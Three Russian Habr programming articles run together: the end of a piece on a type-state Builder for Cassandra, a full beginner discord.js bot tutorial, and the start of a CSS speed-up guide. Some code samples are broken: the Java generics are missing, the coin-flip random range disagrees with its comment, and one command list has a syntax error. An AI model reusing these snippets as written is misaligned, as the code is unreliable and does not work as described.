* Каждая проекция возвращает один объект. Если один отель находится рядом с несколькими станциями метро, то потребуется создать несколько объектов **Builder**, отличающихся лишь одним значением: названием станции метро. Но тут стоит учесть, что в Apache Cassandra запись очень быстрая, а `INSERT` - это `UPSERT` (`INSERT` + `UPDATE`), поэтому один и тот же отель можно вставлять много раз без ограничений со стороны базы данных.
### Решение 3. Добавление конечного автомата
Решение с **Factory Method** + **Builder** будет достаточным в большинстве случаев. Клиентский API можно сделать безопаснее с точки зрения типов.
#### Идея
Анализировать инициализацию множества полей можно при помощи некоторого аналога "парсера" или "регулярного выражения". Регулярные выражения работают со строками, поэтому предлагается следующая биекция:
* поле, для которого выполняется вызов сеттера в **Builder**, является символом входной строки;
* порядок вызова сеттеров для инициализации полей образует входную строку.
Среди полей, доступных пользователю для инициализации, есть обязательные и необязательные поля:
* обязательные - значения полей, входящих в какой-то первичный ключ;
* необязательные - значения полей, которые не входят ни в один первичный ключ.
Теперь можно применить регулярное выражение для анализа порядка вызова сеттеров:
* Пусть среди трех таблиц имеется пять уникальных полей, из которых только три обязательных (т.е. входят в первичный ключ): `A`, `B` и `C`.
* Паттерн **Builder** не ограничивает пользователя в порядке вызова сеттеров, а значит он может устанавливать значения в произвольном порядке.
* Регулярное выражение, которое проверит порядок вызова сеттеров пользователем на допустимость, выглядит следующим образом:
`.*(A.*B.*C)|(A.*C.*B)|(B.*A.*C)|(B.*C.*A)|(C.*A.*B)|(C.*B.*A).*`
Таким образом, пользователь должен вызвать сеттеры для `A`, `B`, `C` в любом порядке, и между этими значениями могут быть установлены дополнительные необязательные аттрибуты.
Известно, что любое регулярное выражение можно представить как конечный автомат ("Компиляторы. Принципы, технологии и инструментарий" А. В. Ахо, М. С. Лам, Р. Сети, Д. Д. Ульман):
Конечный автомат для регулярного выражения### Пояснения к диаграмме:
* кружки означают состояния:
+ кружки одного цвета означают одно состояние;
+ `I` - начальное состояние;
+ `F` - допускающее состояние;
+ цифра означает имя состояния;
+ буквы в фигурных скобках означают множество обязательных полей, которые были проинициализированы к моменту достижения текущего состояния.
* стрелки означают переходы между состояниями:
+ стрелки с буквами означают условный переход из одного состояние в другое, если указанный символ встретился в последовательности;
+ стрелки без букв означают безусловный переход;
+ условные переходы имеют приоритет над безусловными переходами.
Таким образом, можно заключить:
* в начале нет ни одного установленного поля: множество установленных обязательных полей в начальном состоянии пустое;
* допускающее состояние говорит о том, что все обязательные поля установлены: множество установленных значений полей содержит их все.
#### Кодирование фиксированного множества
Кодировать множество фиксированного размера можно при помощи набора нулей и единиц:
* выделить массив размера, соответствующего максимальному количеству элементов в множестве (оно конечно);
* каждому возможному элементу поставить в соответствие индекс в массиве;
* добавление элемента в множество - установка единицы в соответствующем индексе;
* проверка наличия элемента - проверка наличия единицы в соответствующем индексе.
Вместо нулей и единиц можно использовать любые значения, в том числе и типы, что открывает дорогу к сильным типам, которые проверяют инварианты на этапе компиляции.
#### Реализация
Специальные интерфейсы-маркеры:
```
public interface State {}
public interface Present extends State {}
public interface Absent extends State {}
```
Класс **Builder** через свои обобщенные аргументы отслеживает, какие аттрибуты уже были установлены:
```
public static final class Builder<
HOTEL_ID_STATE extends State,
STARS_STATE extends State,
STATION_STATE extends State,
HOTEL_NAME_STATE extends State
> {
private final int stars;
private final String description;
private final String hotelName;
private final UUID hotelId;
private final String station;
private Builder(int stars, String description, String hotelName, UUID hotelId, String station) {
this.stars = stars;
this.description = description;
this.hotelName = hotelName;
this.hotelId = hotelId;
this.station = station;
}
public Builder setHotelId(UUID hotelId) {
return new Builder<>(stars, description, hotelName, hotelId, station);
}
public Builder setStars(int stars) {
return new Builder<>(stars, description, hotelName, hotelId, station);
}
public Builder setStation(String station) {
return new Builder<>(stars, description, hotelName, hotelId, station);
}
public Builder setHotelName(String hotelName) {
return new Builder<>(stars, description, hotelName, hotelId, station);
}
public Builder setDescription(String description) {
return new Builder<>(stars, description, hotelName, hotelId, station);
}
}
```
Фабрика принимает следующий вид:
```
public class HotelStateMachineFactory {
private final int stars;
private final String description;
private final String hotelName;
private final String station;
private final UUID hotelId;
// на входе Builder, у которого все обобщенные аргументы равны `Present`
public HotelStateMachineFactory(Builder builder) {
this.hotelId = builder.hotelId;
this.stars = builder.stars;
this.station = builder.station;
this.description = builder.description;
this.hotelName = builder.hotelName;
}
// создается Builder, у которого все обобщенные аргументы равны `Absent`
public static Builder builder() {
return new Builder<>(-1, null, null, null, null);
}
public HotelById createHotelById() {
return new HotelById(hotelId, hotelName, stars, description);
}
public HotelByStars createHotelByStars() {
return new HotelByStars(stars, hotelName, hotelId);
}
public HotelByStation createHotelByStation() {
return new HotelByStation(station, hotelName, hotelId);
}
}
```
Пояснения по коду:
* среди трех классов с данными об отелях имеется:
+ четыре обязательных поля: `hotelId`, `stars`, `station`, `hotelName`;
+ одно необязательное поле: `description`;
* класс **Builder** имеет четыре обобщенных аргумента по одному на каждое обязательное поле;
* каждый обобщенный аргумент может быть либо `Absent`, либо `Present`; почему обобщенный аргумент не может быть равен `State`? Ответ будет приведен в конце раздела;
* когда сеттер в **Builder** устанавливает обязательный аттрибут, возвращается новый объект **Builder**, у которого соответствующий обобщенный аргумент установлен в `Present`;
* метод `HotelStateMachineFactory#builder` возвращает объект класса **Builder**, у которого все обобщенные аргументы установлены в `Absent`;
* конструктор `HotelStateMachineFactory` принимает на вход объект **Builder**, у которого все обобщенные аргументы установлены в `Present`;
* Класс **Builder** имеет закрытый конструктор, а значит должен быть объявлен внутри `HotelStateMachineFactory` как статический класс, чтобы создание объекта **Builder** происходило строго внутри метода `HotelStateMachineFactory#builder`. Так клиент не сможет сразу создать `Builder`, в котором ни одно поле не проинициализировано.
Обобщенный аргумент в **Builder** не может быть равен **State**, потому что у клиента нет возможности создать объект **Builder** с произвольными значениями обобщенных аргументов. Создание объекта **Builder** происходит лишь в контролируемом окружении:
* в `HotelStateMachineFactory#builder`,
* в сеттерах **Builder**.
Таким образом, интерфейс запрещает программисту использовать API неправильно.
#### Применение
Использовать новую фабрику для инициализации объектов можно следующим образом:
```
public class HotelInserter {
public static void addNewHotel(CassandraOperations ops) {
List entities = getEntities(/\* опущено \*/);
// опущено
}
private static List getEntities(UUID hotelId, String hotelName, int stars, String description, String station) {
Builder builder =
HotelStateMachineFactory.builder()
.setHotelId(hotelId)
.setHotelName(hotelName)
.setDescription(description)
.setStars(stars)
.setStation(station);
HotelStateMachineFactory hotelFactory = new HotelStateMachineFactory(builder);
HotelById hotelById = hotelFactory.createHotelById();
HotelByStars hotelByStars = hotelFactory.createHotelByStars();
HotelByStation hotelByStation = hotelFactory.createHotelByStation();
return Arrays.asList(hotelById, hotelByStars, hotelByStation);
}
}
```
#### Наблюдения
Задачу по генерации **Factory** и **Builder** можно решить при помощи создания нового плагина для компилятора java, который по аннотациям создаст необходимый код для **Factory** и **Builder**.
#### Преимущества
* сильная типизация - пользователь такого API будет вынужден указать все обязательные значения;
* защита от будущих изменений - если добавится новая таблица, то внутри фабрики нужно будет реализовать новую проекцию, а **Builder** получит новый обобщенный аттрибут (первичный ключ новой таблицы), что сломает компиляцию клиентского кода (и это хорошо);
* потокобезопасность - в работе участвуют только неизменяемые данные:
+ все поля имеют модификатор `final`,
+ вызов любого сеттера **Builder** создает новый объект **Builder**.
#### Недостатки
* Отступление от привычного подхода работы с **Builder** - в классе **Builder** нет привычных методов `create` или `build` для создания итогового объекта фабрики. Объект **Builder** передается в конструктор **Factory**.
* Очень много дополнительного кода на стороне **Builder** - проектировщик такого API должен быть очень внимательным при его создании. Можно автоматизировать генерацию **Builder** при помощи shell скриптов.
* Наличие нейтрального элемента для необязательных значений - при первом создании объекта **Builder**, в конструктор передается набор значений по умолчанию. Пользователь будет обязан указать значения только для обязательных аттрибутов, необязательные аттрибуты могут остаться со значениями по умолчанию.
* Пользователь вынужден всегда указывать все обязательные аттрибуты. Так, если рядом с отелем нет ни одной станции метро, то **Builder** вынудит пользователя указать какое-то фиктивное значение.
Пределы и теория категорий
--------------------------
Пределы в Теории КатегорийА причем тут пределы и теория категорий? Все дело в том, что пределы в теории категорий являются обобщением понятия кортежа, для которого определены проекции, чтобы можно было извлечь любой объект из кортежа. В данном случае фабрика вместе с методами для создания объектов, которые будут сохранены в базу данных, является примером предела. Далее можно анализировать решение при помощи теорем из теории категорий и получать новые обобщения. К примеру, можно добавить профунктор для миграции версий фабрики.
Заключение
----------
При определении фабрики может встать вопрос "Какие таблицы и сколько штук нужно объединить под одной фабрикой?". Можно отталкиваться от факта, что одна фабрика должна включать в себя как максимум все объекты в границах одного bounded context. Далее можно разбивать ее на более маленькие логические части.
Несмотря на то, что изначально идея представления **Builder** конечным автоматом выглядела оригинальной, схожие реализации можно найти на просторах интернета ([scala](https://medium.com/@maximilianofelice/builder-pattern-in-scala-with-phantom-types-3e29a167e863), [java](https://blog.frankel.ch/builder-pattern-finite-state-machine/)), что лишь подтверждает жизнеспособность идеи, т.к. разные люди независимо друг от друга приходят к ней.
В качестве первого шага для практического применения описанного подхода к организации клиентского API предлагается открыть [GitHub DataStax](https://github.com/datastaxdevs), добавить фабрики к их обучающим проектам и отправить патчи с улучшениями в pull request.
Дополнительно
-------------
Код с примерами из этой статьи, а так же инструкции по запуску в `docker` можно найти на [GitHub](https://github.com/neshkeev/consistent-cassandra-builder). | https://habr.com/ru/post/709508/ | null | ru | null |
# Создание Discord-бота, используя библиотеку discord.js | Часть №1
### Введение
В этой статье я подробно расскажу о том, как работать с библиотекой **discord.js**, создать своего Discord-бота, а также покажу несколько интересных и полезных команд.
Сразу хочу отметить, что я планирую сделать ряд подобных статей, начиная с простых команд, заканчивая музыкой, системой экономики и распознаванием голоса ботом.
### Начало работы
Если вы уже знакомы с приведёнными ниже материалами, — смело можете пролистать этот раздел.
**Установка среды разработки**
Для начала работы с кодом нам нужно установить среду разработки, это может быть:
* [Sublime Text](https://www.sublimetext.com/)
* [Notepad++](https://notepad-plus-plus.org/downloads/)
* [Atom](https://atom.io/)
* [Brackets](http://brackets.io)
* [InteliJ Idea](https://www.jetbrains.com/idea/)
* [Eclipse](https://www.eclipse.org/ide/)
* [Visual Studio Code](https://code.visualstudio.com/)
… и так далее.
Среда разработки выбирается по удобству использования и практичности, она у вас может быть любая, но мы рассмотрим её на примере Visual Studio Code, так как она является одной из самых приемлемых для новичков, а также для опытных программистов.
Для установки переходим по [этой](https://code.visualstudio.com/Download) ссылке.

Выбираем свою операционную систему и запускаем скачивание.
**Установка среды выполнения**
Для создания бота мы используем среду выполнения **node.js**. Для её установки нам необходимо перейти на [этот](https://nodejs.org/ru/) сайт.

На данный момент нас интересует **версия долгосрочной поддержки (LTS)**, скачиваем её.
**Установка полезных расширений**
В **Visual Studio Code** присутствует возможность устанавливать расширения.
Для этого, кликните по отмеченной ниже иконке.

В открывшемся окне вписываем название название/идентификатор нужного нам расширения, после чего устанавливаем его.

Из **полезных** расширений могу отметить:
1. **Discord Presence** — расширение, позволяющее отображать рабочую область и файл, в котором вы работаете в вашей игровой активности (функция работает только при использовании приложения Discord).
**Идентификатор расширения:** icrawl.discord-vscode

2. **Code runner** — расширение, с помощью которого предоставляется возможность запускать определённые фрагменты кода.
**Идентификатор расширения:** formulahendry.code-runner
### Создание бота
Теперь, когда вы установили все нужные компоненты, мы можем приступить к **созданию самого бота.**
Здесь всё просто. Переходим на [портал разработчиков](https://discord.com/developers/applications/) и нажимаем на кнопку с надписью *«New Application»* — она находится в правом верхнем углу.
В открывшемся окне вписываем имя бота, после чего, нажимаем на кнопку с надписью *«Create»*.

На этой странице мы можем изменить имя бота, загрузить для него иконку, заполнить описание.
Теперь наша задача — воплотить бота в жизнь. Для этого переходим во вкладку *«Bot»*.

Нажимаем на кнопку с надписью *«Add Bot»* и воплощаем бота в жизнь.
Поздравляю! Вы создали аккаунт для вашего бота. Теперь у него есть тег, токен, ник и иконка.
### Подготовка к написанию кода
После создания аккаунта для бота, мы должны установить нужные пакеты и модули, чтобы в дальнейшем он корректно работал.
Первым делом создаём папку, после чего открываем её в VS Code *(Файл > Открыть папку)* / *(Ctrl + K Ctrl + O)*
Далее нам нужно открыть терминал *(Терминал > Создать терминал)* / *(Ctrl + Shift + `)*

Теперь мы должны создать файл с неким «описанием» нашего бота, сделаем это через терминал.
Вписываем данную строку в терминал и нажимаем Enter:
```
npm init
```
После каждой появившейся строки нажимаем Enter или вписываем свои значения.
Значения в этом файле можно будет изменить в любой момент.
Далее, мы должны поочерёдно вводить в терминал эти строки:
```
npm install
```
```
npm install discord.js
```
*«Install»* также можно сокращать в «I», но необязательно.
Итого, если вы следовали инструкциям и всё сделали правильно, в вашей папке должны были появиться 3 объекта:

### Написание кода
**Об удобстве написания кода**
Для того, чтобы наш бот появился в сети и мог реагировать на команды, нам нужно написать для него код.
Существует множество вариантов для его написания: используя один файл, два, несколько, и т.д
Мы рассмотрим вариант с **двумя** файлами, так как его использовать очень легко и удобно, но у каждого варианта есть свои недостатки — например, у этого недостатком является сложность в написании начального кода.
Но не волнуйтесь, весь код вам писать не придётся.
**О хранении данных**
Для начала, нам нужно где-то хранить основные параметры и информацию о боте.
Мы можем сделать это двумя способами:
1. Создать отдельный файл
2. Записать всё в константы
Я не советую вам использовать второй вариант, так как в будущем вам придётся работать с большим объёмом информации, и такая запись будет доставлять неудобства.
Разберём хранение параметров в отдельном файле.
Итак, создаем файл *config.json*
Вставляем в него следующий код:
```
{
"token" : "Ваш_токен",
"prefix" : "Ваш_префикс"
}
```
**\*** Для получения токена зайдите на [портал разработчиков](https://discord.com/developers/applications), перейдите во вкладку *«Bot»* и скопируйте его.

**\*** Самым распространённым среди разработчиков префиксом является **!**
Далее нам нужно создать файл *bot.js* и вставить в него данный код:
```
const Discord = require('discord.js'); // Подключаем библиотеку discord.js
const robot = new Discord.Client(); // Объявляем, что robot - бот
const comms = require("./comms.js"); // Подключаем файл с командами для бота
const fs = require('fs'); // Подключаем родной модуль файловой системы node.js
let config = require('./config.json'); // Подключаем файл с параметрами и информацией
let token = config.token; // «Вытаскиваем» из него токен
let prefix = config.prefix; // «Вытаскиваем» из него префикс
robot.on("ready", function() {
/* При успешном запуске, в консоли появится сообщение «[Имя бота] запустился!» */
console.log(robot.user.username + " запустился!");
});
robot.on('message', (msg) => { // Реагирование на сообщения
if (msg.author.username != robot.user.username && msg.author.discriminator != robot.user.discriminator) {
var comm = msg.content.trim() + " ";
var comm_name = comm.slice(0, comm.indexOf(" "));
var messArr = comm.split(" ");
for (comm_count in comms.comms) {
var comm2 = prefix + comms.comms[comm_count].name;
if (comm2 == comm_name) {
comms.comms[comm_count].out(robot, msg, messArr);
}
}
}
});
robot.login(token); // Авторизация бота
```
Теперь создаём файл *comms.js*, в нём будут сами команды.
В нём должен быть следующий код:
```
const config = require('./config.json'); // Подключаем файл с параметрами и информацией
const Discord = require('discord.js'); // Подключаем библиотеку discord.js
const prefix = config.prefix; // «Вытаскиваем» префикс
// Команды //
function test(robot, mess, args) {
mess.channel.send('Test!')
}
// Список команд //
var comms_list = [{
name: "test",
out: test,
about: "Тестовая команда"
}];
// Name - название команды, на которую будет реагировать бот
// Out - название функции с командой
// About - описание команды
module.exports.comms = comms_list;
```
Чтобы добавить больше команд — просто объявляйте больше функций и добавляйте их в список, например:
```
const config = require('./config.json');
const Discord = require('discord.js');
const prefix = config.prefix;
const versions = config.versions;
// Команды //
function test(robot, mess, args) {
mess.channel.send("Тест!")
}
function hello(robot, mess, args) {
mess.reply("Привет!")
}
// Список комманд //
var comms_list = [{
name: "test",
out: test,
about: "Тестовая команда"
},
{
name: "hello",
out: hello,
about: "Команда для приветствия!"
}
}
module.exports.comms = comms_list;
```
И вот, мы вышли на финишную прямую!
Осталось всего ничего — запустить бота.
Для этого открываем терминал и вставляем в него следующую строку:
```
node bot.js
```

**Готово! Бот запущен и вы можете им пользоваться, ура!**
Чтобы пригласить бота на свой сервер, воспользуемся нам уже известным [порталом разработчиков](https://discord.com/developers/applications).
Перейдём во вкладку OAuth2, пролистаем чуть ниже, выберем *«Bot»* и отметим нужные боту привилегии.
Теперь осталось скопировать ссылку-приглашение и добавить бота на свой сервер.

**Как вывести ссылку-приглашение в терминал, при запуске бота?**
Существует два способа:
1. **Заранее отметить нужные привилегии.**
Для этого, сначала мы должны скопировать ссылку-приглашение.
После чего перейти в файл *bot.js* и вставить данную строчку кода сюда:
```
robot.on("ready", function(){
console.log(robot.user.username + " запустился!");
console.log("Ссылка-приглашение") // << //
})
```
Итоговый код должен быть таким:
```
const Discord = require('discord.js');
const robot = new Discord.Client();
var comms = require("./comms.js");
const fs = require('fs');
let config = require('./config.json');
let token = config.token;
let prefix = config.prefix;
robot.on("ready", function(){
console.log(robot.user.username + " запустился!");
console.log("Ссылка-приглашение")
})
robot.on('message', (msg) => {
if(msg.author.username != robot.user.username && msg.author.discriminator != robot.user.discriminator){
var comm = msg.content.trim()+" ";
var ok = false;
var comm_name = comm.slice(0, comm.indexOf(" "));
var messArr = comm.split(" ");
for(comm_count in comms.comms){
var comm2 = prefix + comms.comms[comm_count].name;
if(comm2 == comm_name){
comms.comms[comm_count].out(robot, msg, messArr);
}
}
}
});
robot.login(token)
robot.login(token);
```
2. **Отметить нужные привилегии в самом коде.**
Повторяем процедуры из первого способа, но уже с другими строками кода:
```
robot.on("ready", function(){
console.log(robot.user.username + " запустился!");
robot.generateInvite(["ADMINISTRATOR"]).then((link) => { // < //
console.log(link); // < //
})})
```
Итоговый код:
```
const Discord = require('discord.js');
const robot = new Discord.Client();
var comms = require("./comms.js");
const fs = require('fs');
let config = require('./config.json');
let token = config.token;
let prefix = config.prefix;
robot.on("ready", function(){
console.log(robot.user.username + " запустился!");
robot.generateInvite(["ADMINISTRATOR"]).then((link) => {
console.log(link);
})})
robot.on('message', (msg) => {
if(msg.author.username != robot.user.username && msg.author.discriminator != robot.user.discriminator){
var comm = msg.content.trim()+" ";
var ok = false;
var comm_name = comm.slice(0, comm.indexOf(" "));
var messArr = comm.split(" ");
for(comm_count in comms.comms){
var comm2 = prefix + comms.comms[comm_count].name;
if(comm2 == comm_name){
comms.comms[comm_count].out(robot, msg, messArr);
}
}
}
});
robot.login(token);
```
Чтобы указать несколько привилегий, мы должны перечислить их в квадратных скобках, через запятую:
```
robot.generateInvite(['KICK_MEMBERS', 'BAN_MEMBERS', 'SEND_MESSAGES']).then((link) => {
console.log(link);
```
**\*** Все привилегии указываются заглавными буквами
Список доступных привилегий:
**ADMINISTRATOR
CREATE\_INSTANT\_INVITE
KICK\_MEMBERS
BAN\_MEMBERS
MANAGE\_CHANNELS
MANAGE\_GUILD
ADD\_REACTIONS
VIEW\_AUDIT\_LOG
PRIORITY\_SPEAKER
STREAM
VIEW\_CHANNEL
SEND\_MESSAGES
SEND\_TTS\_MESSAGES
MANAGE\_MESSAGES
EMBED\_LINKS
ATTACH\_FILES
READ\_MESSAGE\_HISTORY
MENTION\_EVERYONE
USE\_EXTERNAL\_EMOJIS
VIEW\_GUILD\_INSIGHTS
CONNECT
SPEAK
MUTE\_MEMBERS
DEAFEN\_MEMBERS
MOVE\_MEMBERS
USE\_VAD
CHANGE\_NICKNAME
MANAGE\_NICKNAMES
MANAGE\_ROLES
MANAGE\_WEBHOOKS
MANAGE\_EMOJIS**
Я не советую вам из привилегий выбирать только **ADMINISTRATOR**, поэтому лучше указать только те привилегии, которые бот действительно использует для корректной работы
### Полезные и интересные команды
В предыдущем разделе я показал вам, как запустить бота и как писать для него команды.
Теперь я хочу поделиться с вами несколькими своими командами.
1. **!say** — с помощью этой команды бот может повторить ваше сообщение.

**Код:**
```
if (!mess.member.hasPermission("MANAGE_MESSAGES")) return mess.channel.send("У вас нет прав"); /* Если у исполнителя команды нету привилегии MANGAGE_MESSAGES, он не сможет её использовать */
args = mess.content.split(' ');
args.shift();
args = args.join(' ');
mess.delete().catch(); // Удаление сообщения пользователя после отправки
mess.channel.send(args)
```
2. **!heads\_or\_tails** — игра «Орёл или Решка».

**Код:**
```
mess.channel.send('Монета подбрасывается...')
var random = Math.floor(Math.random() * 4) + 1; // Объявление переменной random - она вычисляет случайное число от 1 до 3
if (random === 1) { // Если вычислено число 1, то выпадает орёл.
mess.channel.send(':full_moon: Орёл!')
} else if (random === 2) { // Если вычислено число 2, то выпадает решка.
mess.channel.send(':new_moon: Решка!')
} else if (random === 3) { // Если вычислено число 3, то монета падает ребром.
mess.channel.send(':last_quarter_moon: Монета упала ребром!')
}
```
3. **!clear** — удаление определённого количества сообщений.

**Код:**
```
const arggs = mess.content.split(' ').slice(1); // Все аргументы за именем команды с префиксом
const amount = arggs.join(' '); // Количество сообщений, которые должны быть удалены
if (!amount) return mess.channel.send('Вы не указали, сколько сообщений нужно удалить!'); // Проверка, задан ли параметр количества
if (isNaN(amount)) return mess.channel.send('Это не число!'); // Проверка, является ли числом ввод пользователя
if (amount > 100) return mess.channel.send('Вы не можете удалить 100 сообщений за раз'); // Проверка, является ли ввод пользователя числом больше 100
if (amount < 1) return mess.channel.send('Вы должны ввести число больше чем 1'); // Проверка, является ли ввод пользователя числом меньше 1
async function delete_messages() { // Объявление асинхронной функции
await mess.channel.messages.fetch({
limit: amount
}).then(messages => {
mess.channel.bulkDelete(messages)
mess.channel.send(`Удалено ${amount} сообщений!`)
})
};
delete_messages(); // Вызов асинхронной функции
```
4. **!random\_name** — генерация случайного имени.

Не стоит пугаться большого кода, здесь всё предельно просто.
**Код:**
```
var name = [ // Объявление массива name и занесение в него большого количества имён
'Абрам', ' Аваз', ' Аввакум', ' Август', ' Августин',
' Авдей', ' Авраам', ' Автандил', ' Агап', ' Агафон',
' Аггей', ' Адам', ' Адис', ' Адольф', ' Адриан',
' Азамат', ' Айдар', ' Айнур', ' Айрат', ' Аким',
' Алан', ' Алей', ' Александр', ' Алексей', ' Али',
' Альберт', ' Альфред', ' Амадей', ' Амадеус',
' Амаяк', ' Амвросий', ' Ананий', ' Анастасий',
' Анатолий', ' Анвар', ' Ангел', ' Андоим', ' Андрей',
' Аникита', ' Антон', ' Арам', ' Арий', ' Аристарх',
' Аркадий', ' Арман', ' Арно', ' Арнольд', ' Арон', ' Арсен',
' Арсений', ' Арслан', ' Артем', ' Артемий', ' Артур', ' Архип', ' Аскар', ' Аскольд', ' Аслан', ' Афанасий', ' Ахмет', ' Ашот', ' Бальтазар', ' Бежен', ' Бенедикт', ' Берек', ' Бернард',
' Бертран', ' Богдан', ' Болеслав', ' Борис', ' Бронислав',
' Булат', ' Вадим', ' Валентин', ' Валерий', ' Вальтер',
' Варфоломей', ' Василий', ' Вацлав', ' Велизар', ' Венедикт', ' Вениамин', ' Викентий', ' Виктор', ' Вилли', ' Вильгельм', ' Виссарион', ' Виталий', ' Витольд', ' Владимир', ' Владислав', ' Владлен', ' Володар', ' Вольдемар', ' Всеволод', ' Вячеслав', ' Гавриил', ' Галактион', ' Гарри', ' Гастон', ' Гаяс', ' Гевор', ' Геннадий', ' Генрих', ' Георгий', ' Геракл', ' Геральд', ' Герасим', ' Герман', ' Глеб', ' Гордей', ' Гордон', ' Горислав', ' Градимир', ' Григорий', ' Гурий', ' Густав', ' Давид', ' Дамир', ' Даниил', ' Даниэль', ' Данияр', ' Дарий', ' Дементий', ' Демид', ' Демосфен', ' Демьян', ' Денис', ' Джамал', ' Джордан', ' Дмитрий', ' Добрыня', ' Дональд', ' Донат', ' Дорофей', ' Евгений', ' Евграф', ' Евдоким', ' Евсевий', ' Евсей', ' Евстафий', ' Егор', ' Елеазар', ' Елисей', ' Емельян', ' Еремей', ' Ермолай', ' Ерофей', ' Ефим', ' Ефрем', ' Жан', ' Ждан', ' Жорж', ' Захар', ' Зиновий', ' Ибрагим', ' Иван', ' Игнатий', ' Игорь', ' Илларион', ' Ильдар', ' Ильнар', ' Ильнур', ' Илья', ' Ильяс', ' Иннокентий', ' Иоанн', ' Иосиф', ' Ипполит', ' Искандер', ' Ислам', ' Камиль', ' Карим', ' Карл', ' Кирилл', ' Клим', ' Кондрат', ' Константин', ' Корней', ' Кузьма', ' Лавр', ' Лаврентий', ' Лев', ' Леон', ' Леонид', ' Леонтий', ' Леопольд', ' Лука', ' Лукьян', ' Любим', ' Макар', ' Максим', ' Максимилиан', ' Марат', ' Марк', ' Марсель', ' Мартин', ' Матвей', ' Мирон', ' Мирослав', ' Митрофан', ' Михаил', ' Михей', ' Мишель', ' Мстислав', ' Мурат', ' Муслим', ' Назар', 'Абрам', ' Аваз', ' Аввакум', ' Август', ' Августин', ' Авдей', ' Авраам', ' Автандил', ' Агап', ' Агафон', ' Аггей', ' Адам', ' Адис', ' Адольф', ' Адриан', ' Азамат', ' Айдар', ' Айнур', ' Айрат', ' Аким', ' Алан', ' Алей', ' Александр',
' Алексей', ' Али', ' Альберт', ' Альфред', ' Амадей', ' Амадеус', ' Амаяк', ' Амвросий', ' Ананий', ' Анастасий', ' Анатолий', ' Анвар', ' Ангел', ' Андоим', ' Андрей', ' Аникита', ' Антон', ' Арам', ' Арий', ' Аристарх', ' Аркадий', ' Арман', ' Арно', ' Арнольд', ' Арон', ' Арсен', ' Арсений', ' Арслан', ' Артем', ' Артемий', ' Артур', ' Архип', ' Аскар', ' Аскольд', ' Аслан', ' Афанасий', ' Ахмет', ' Ашот', ' Бальтазар', ' Бежен', ' Бенедикт', ' Берек', ' Бернард', ' Бертран', ' Богдан', ' Болеслав', ' Борис', ' Бронислав', ' Булат', ' Вадим', ' Валентин', ' Валерий', ' Вальтер', ' Варфоломей', ' Василий', ' Вацлав', ' Велизар', ' Венедикт', ' Вениамин', ' Викентий', ' Виктор', ' Вилли', ' Вильгельм', ' Виссарион', ' Виталий', ' Витольд', ' Владимир', ' Владислав', ' Владлен', ' Володар', ' Вольдемар', ' Всеволод', ' Вячеслав', ' Гавриил', ' Галактион', ' Гарри', ' Гастон',
' Гаяс', ' Гевор', ' Геннадий', ' Генрих', ' Георгий', ' Геракл',
' Геральд', ' Герасим', ' Герман', ' Глеб', ' Гордей', ' Гордон',
' Горислав', ' Градимир', ' Григорий', ' Гурий', ' Густав',
' Давид', ' Дамир', ' Даниил', ' Даниэль', ' Данияр',
' Дарий', ' Дементий', ' Демид', ' Демосфен',
' Демьян', ' Денис', ' Джамал', ' Джордан', ' Дмитрий', ' Добрыня',
' Дональд', ' Донат', ' Дорофей', ' Евгений', ' Евграф', ' Евдоким', ' Евсевий', ' Евсей', ' Евстафий', ' Егор', ' Елеазар', ' Елисей', ' Емельян', ' Еремей', ' Ермолай', ' Ерофей', ' Ефим', ' Ефрем', ' Жан', ' Ждан', ' Жорж', ' Захар', ' Зиновий', ' Ибрагим', ' Иван', ' Игнатий', ' Игорь', ' Илларион', ' Ильдар', ' Ильнар', ' Ильнур', ' Илья', ' Ильяс', ' Иннокентий', ' Иоанн', ' Иосиф', ' Ипполит', ' Искандер', ' Ислам', ' Камиль', ' Карим', ' Карл', ' Кирилл', ' Клим', ' Кондрат', ' Константин', ' Корней', ' Кузьма', ' Лавр', ' Лаврентий', ' Лев', ' Леон', ' Леонид', ' Леонтий', ' Леопольд', ' Лука', ' Лукьян', ' Любим', ' Макар', ' Максим', ' Максимилиан', ' Марат', ' Марк', ' Марсель', ' Мартин', ' Матвей', ' Мирон', ' Мирослав', ' Митрофан', ' Михаил', ' Михей', ' Мишель', ' Мстислав', ' Мурат',
' Муслим', ' Назар'
];
var RandElement = name[Math.floor(Math.random() * (name.length))]; // Выбор случайного элемента из массива
mess.channel.send(RandElement) // Отправка сообщения со случайным элементом из массива в чат
```
### Заключение
Вот и подошла к концу первая часть обучения, как вы могли заметить, создать бота, используя библиотеку **discord.js** очень просто.
Итого, из этой статьи мы выяснили:
* Как установить нужные модули и пакеты
* Как установить среду разработки
* Как установить среду выполнения
* Как установить полезные расширения
* Как создать аккаунт для бота
* Как воплотить бота в жизнь
* Как запустить бота
* Как научить бота реагировать на команды
* Как пригласить бота на свой сервер
* Как писать код для работы команд
А также научились некоторым интересным и полезным командам.
Надеюсь, что вам понравилась моя статья и вы узнали из неё что-то новое.
### Сайты для самостоятельного изучения
* [Основная документация discord.js](https://discord.js.org/#/)
* [Документация discord.js №2](https://discordjs-fork.readthedocs.io/en/latest/index.html)
* [Руководство discord.js](https://discordjs.guide/)
* [Руководство discord.js №2](https://anidiots.guide/) | https://habr.com/ru/post/507948/ | null | ru | null |
# 7 советов по оптимизации CSS для ускорения загрузки страниц
В современном вебе, время загрузки страницы сайта — одна из важнейших метрик. Даже миллисекунды могу оказывать огромное влияние на Вашу прибыль и медленная загрузка страницы может легко навредить Вашим показателям конверсии. Существует много инструментов и техник, которые Вы можете применить для ускорения Вашего вебсайта. В этой статье мы рассмотрим лучшие советы по оптимизации CSS, которые Вы можете использовать для повышения производительности интерфейса.

**Примечание от переводившего**
*Большая просьба снисходительно отнестись к замеченным ошибкам и сообщить о них.
Спасибо.*
1. Найдите узкие места производительности
-----------------------------------------
Самое главное при всех видах оптимизации — начать с тщательного аудита. К счастью, существует много инструментов для диагностики CSS, которые могут помочь Вам найти имеющиеся узкие места в производительности. Первое и самое главное, Вы можете использовать «Инструменты разработчика» в Вашем браузере, чтобы проверить, насколько быстро загружаются данные. В большинстве браузеров открыть «Инструменты разработчика» можно, нажав клавишу F12.
Например, в «Инструментах разработчика» браузера Firefox Вы можете узнать размер и время загрузки всех CSS-файлов, загружаемых на Вашей странице, используя закладку «Network». Вы также можете проверить, насколько быстро Ваши CSS-файлы загружаются с использованием или без использования кэширования. Поскольку здесь показываются внешние CSS, такие как файлы шрифтов Google Fonts и CSS-файлы, загруженные из сторонних CDN-серверов, Вы можете найти много источников, о которых даже не знали ранее

